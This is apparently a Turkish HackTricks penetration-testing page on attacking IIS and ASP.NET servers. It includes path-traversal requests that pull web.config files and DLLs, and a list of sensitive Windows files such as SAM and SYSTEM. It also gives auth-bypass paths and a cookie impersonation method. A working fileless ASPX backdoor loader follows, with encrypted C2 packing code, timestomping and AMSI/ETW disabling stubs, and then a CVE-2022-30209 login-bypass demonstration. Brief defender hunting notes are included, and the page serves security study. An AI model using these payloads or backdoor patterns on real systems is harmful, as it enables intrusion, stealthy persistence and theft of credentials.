IIS - Internet Information Services

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Test edilecek dosya uzantıları:

  • asp
  • aspx
  • config
  • php

Dahili IP Adresi ifşası

302 döndüren herhangi bir IIS sunucusunda Host header’ını kaldırmayı ve HTTP/1.0 kullanmayı deneyebilirsiniz; yanıt içindeki Location header sizi dahili IP adresine yönlendirebilir:

nc -v domain.com 80
openssl s_client -connect domain.com:443

İç IP’yi ifşa eden yanıt:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

.config dosyalarını çalıştır

.config dosyalarını yükleyip kod çalıştırmak için kullanabilirsiniz. Bunu yapmanın bir yolu, kodu dosyanın sonuna bir HTML yorumunun içine eklemektir: Download example here

Daha fazla bilgi ve bu zafiyeti istismar etmek için teknikler here

IIS Discovery Bruteforce

Oluşturduğum listeyi indirin:

Aşağıdaki listelerin içeriklerinin birleştirilmesiyle oluşturuldu:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Uzantı eklemeden kullanın; gerekli uzantılar zaten dosyalarda mevcuttur.

Path Traversal

Leaking source code

Tam writeup için bakın: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

Özetle, uygulamanın klasörleri içinde “assemblyIdentity” dosyalarına ve “namespaces” referansları olan birkaç web.config dosyası bulunur. Bu bilgilerle where are executables located öğrenmek ve bunları indirmek mümkün olur.
İndirilen downloaded Dlls’lerden yeni new namespaces bulmak ve bu namespaces’lere erişip web.config dosyasını alarak daha fazla namespaces ve assemblyIdentity tespit etmek mümkündür.
Ayrıca, connectionstrings.config ve global.asax dosyaları ilginç bilgiler içerebilir.

.Net MVC applications’da, web.config dosyası, uygulamanın dayandığı her ikili dosyayı “assemblyIdentity” XML etiketleriyle belirterek kritik bir rol oynar.

İkili Dosyaların Keşfi

Aşağıda web.config dosyasına erişime bir örnek gösterilmiştir:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Bu istek şu tür ayarları ve bağımlılıkları açığa çıkarır:

  • EntityFramework sürümü
  • AppSettings web sayfaları, istemci doğrulama ve JavaScript için
  • System.web kimlik doğrulama ve çalışma zamanı için yapılandırmalar
  • System.webServer modül ayarları
  • Runtime çok sayıda kütüphane için assembly binding’leri, örneğin Microsoft.Owin, Newtonsoft.Json ve System.Web.Mvc

Bu ayarlar, /bin/WebGrease.dll gibi bazı dosyaların uygulamanın /bin klasöründe bulunduğunu gösterir.

Kök Dizin Dosyaları

Kök dizinde bulunan /global.asax ve /connectionstrings.config gibi dosyalar (hassas parolalar içerir) uygulamanın yapılandırması ve çalışması için esastır.

Namespace’ler ve Web.Config

MVC uygulamaları ayrıca her dosyada tekrarlanan beyanlardan kaçınmak için belirli namespace’ler için ek web.config dosyaları tanımlar; bu durum başka bir web.config indirme isteğiyle gösterilmiştir:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLL’leri İndirme

Özel bir namespace’ten bahsedilmesi, /bin dizininde “WebApplication1” adlı bir DLL’in bulunduğuna işaret eder. Bunu takiben, WebApplication1.dll’i indirmeye yönelik bir istek gösterilmektedir:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Bu, /bin dizininde System.Web.Mvc.dll ve System.Web.Optimization.dll gibi diğer gerekli DLL’lerin varlığına işaret eder.

Bir DLL WebApplication1.Areas.Minded adlı bir namespace’i import ediyorsa, bir saldırgan, içinde belirli konfigürasyonlar ve /bin klasöründeki diğer DLL’lere referanslar barındıran /area-name/Views/ gibi öngörülebilir yollarda başka web.config dosyalarının varlığını çıkarımda bulunabilir. Örneğin, /Minded/Views/web.config isteği, başka bir DLL olan WebApplication1.AdditionalFeatures.dll’in varlığına işaret eden konfigürasyonları ve namespace’leri açığa çıkarabilir.

Yaygın dosyalar

Kaynak: here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Hatası

If you see an error like the following one:

It means that the server didn’t receive the correct domain name inside the Host header.
In order to access the web page you could take a look to the served SSL Certificate and maybe you can find the domain/subdomain name in there. If it isn’t there you may need to brute force VHosts until you find the correct one.

Şifrelenmiş yapılandırmayı ve ASP.NET Core Data Protection key ring’lerini çözme

IIS üzerinde barındırılan .NET uygulamalarında sırları korumak için iki yaygın yöntem:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) web.config içindeki gibi bölümler için.
  • ASP.NET Core Data Protection key ring (persisted locally) uygulama sırlarını ve cookie’leri korumak için kullanılır.

Web sunucusunda filesystem veya interactive erişiminiz varsa, co-located anahtarlar genellikle şifreleri çözmeye izin verir.

  • ASP.NET (Full Framework) – korumalı config bölümlerini aspnet_regiis ile çözme:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – yerel olarak depolanan Data Protection key rings’i (XML/JSON dosyaları) aşağıdaki gibi konumlarda arayın:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

Anahtar ringi mevcutsa, uygulama kimliğinde çalışan bir operatör aynı purposes ile bir IDataProtector örneği oluşturup depolanan sırları unprotect edebilir. Anahtar ringini uygulama dosyalarıyla birlikte saklayan yanlış yapılandırmalar, host ele geçirildiğinde offline deşifrelemeyi kolaylaştırır.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

Phantom Taurus/NET-STAR toolkit, w3wp.exe içinde tamamen fileless IIS persistence ve post‑exploitation için olgun bir desen gösterir. Temel fikirler, özel tradecraft için ve detection/hunting amacıyla genişçe yeniden kullanılabilir.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: tek bir .aspx sayfası (ör. OutlookEN.aspx) Base64‑encoded, isteğe bağlı Gzip‑compressed .NET DLL taşır. Bir tetikleme isteği geldiğinde bunu decode eder, decompress eder ve reflectively load ederek mevcut AppDomain’e yükler ve ana giriş noktasını (ör. ServerRun.Run()) çağırır.
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: görevler/sonuçlar Gzip → AES‑ECB/PKCS7 → Base64 ile paketlenir ve görünüşte meşru, cookie‑ağırlıklı istekler aracılığıyla taşınır; operatorler chunking için sabit ayıraçlar (ör. “STAR”) kullanmıştır.
  • Reflective .NET execution: rastgele managed assembly’leri Base64 olarak kabul eder, Assembly.Load(byte[]) ile yükler ve disk erişimi olmadan hızlı modül değişimleri için operator argümanlarını iletir.
  • Operating in precompiled ASP.NET sites: site önceden derlenmiş olsa bile yardımcı shell/backdoor ekleyip yönetebilir (ör. dropper dinamik sayfalar/handler’lar ekler veya config handler’ları kullanır) – bypassPrecompiledApp, addshell, listshell, removeshell gibi komutlarla ortaya çıkar.
  • Timestomping/metadata forgery: dağıtımda changeLastModified eylemi ve timestomp uygulayarak (gelecekteki derleme zaman damgaları dahil) DFIR’i zorlaştırır.
  • Optional AMSI/ETW pre‑disable for loaders: ikinci aşama bir loader, Assembly.Load çağırmadan önce AMSI ve ETW’yi devre dışı bırakabilir ve bellek içi payload’ların incelenmesini azaltır.

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Paketleme/crypto yardımcıları (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session akışı ve komut yüzeyi

  • Oturum başlatma ve görev yönlendirmesi, normal web etkinlikleriyle karışmak için cookies aracılığıyla taşınır.
  • Gerçek ortamda gözlemlenen komutlar şunlardır: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; ve bellek içi .NET yürütümü için dinamik yürütme primitifleri code_self, code_pid, run_code.

Timestomping aracı

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Assembly.Load’dan önce Inline AMSI/ETW devre dışı bırakma (loader variant)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • Tek bir garip ASPX sayfası, çok uzun Base64/Gzip blob’ları; cookie‑ağırlıklı POST’lar.
  • w3wp.exe içinde yedeği olmayan managed modüller; Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run gibi string’ler.
  • Trafikte “STAR” gibi tekrarlanan delimiters; ASPX/assembly’lerde uyumsuz veya hatta gelecekteki zaman damgaları.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

Birçok ASP.NET uygulaması Telerik UI for ASP.NET AJAX’i embed eder ve kimlik doğrulama gerektirmeyen handler Telerik.Web.UI.WebResource.axd’i açığa çıkarır. Image Editor cache endpoint’i erişilebilir olduğunda (type=iec), dkey=1 ve prtype parametreleri pre‑auth herhangi bir public parametresiz constructor’ı çalıştıran unsafe reflection’ı etkinleştirir. Bu, evrensel bir DoS primitive’i sağlar ve güvensiz AppDomain.AssemblyResolve handler’larına sahip uygulamalarda pre‑auth RCE’ye yükseltilebilir.

See detailed techniques and PoCs here:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Her keşfedilen klasörün (Basic Authentication gerektirse bile) içindeki klasör ve dosyaları bu teknikle enumerate etmeyi deneyebilirsiniz.
Eğer sunucu savunmasızsa bu tekniğin başlıca sınırlaması, her dosya/klasör isminin yalnızca ilk 6 harfini ve dosya uzantısının ilk 3 harfini bulabilmesidir.

You can use https://github.com/irsdl/IIS-ShortName-Scanner to test for this vulnerability:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

You can also use metasploit: use scanner/http/iis_shortname_scanner

Keşfedilen dosyaların nihai adını bulmak için güzel bir fikir, script’te yapıldığı gibi seçenekler için LLM’lere sormaktır: https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

Basic authentication’ı (IIS 7.5) bypass etmeyi deneyin, şu yolları kullanarak: /admin:$i30:$INDEX_ALLOCATION/admin.php veya /admin::$INDEX_ALLOCATION/admin.php

Bu zafiyeti ve önceki tekniği birleştirerek yeni klasörler bulup kimlik doğrulamayı bypass etmeyi deneyebilirsiniz.

ASP.NET Trace.AXD enabled debugging

ASP.NET hata ayıklama modu içerir ve dosyası trace.axd olarak adlandırılır.

Bu dosya, bir uygulamaya yapılan tüm isteklerin belli bir süre içindeki çok ayrıntılı bir kaydını tutar.

Bu bilgiler uzak istemci IP’lerini, oturum ID’lerini, tüm istek ve yanıt cookie’lerini, fiziksel yolları, kaynak kod bilgilerini ve potansiyel olarak kullanıcı adları ve parolalar da dahil olmak üzere hassas verileri içerir.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH uses the following info:

  • validationKey (string): hex-encoded key to use for signature validation.
  • decryptionMethod (string): (default “AES”).
  • decryptionIV (string): hex-encoded initialization vector (defaults to a vector of zeros).
  • decryptionKey (string): hex-encoded key to use for decryption.

Ancak bazı kişiler bu parametrelerin varsayılan değerlerini kullanır ve cookie olarak kullanıcının e‑postasını kullanır. Bu nedenle, aynı platformu kullanan ve ASPXAUTH cookie’si olan başka bir web sitesi bulursanız ve saldırı altındaki sunucuda taklit etmek istediğiniz kullanıcı ile aynı e‑posta adresine sahip bir kullanıcı oluşturursanız, ikinci sunucudan alınan cookie’yi ilk sunucuda kullanarak kullanıcıyı taklit edebilirsiniz.
Bu saldırı şu writeup içinde başarılı olmuştur.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: Koddaki bir hata, kullanıcının verdiği şifreyi doğru şekilde kontrol etmediği için, şifre hash’i zaten cache’te olan bir anahtara denk gelen bir saldırgan o kullanıcı olarak giriş yapabilecektir .

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin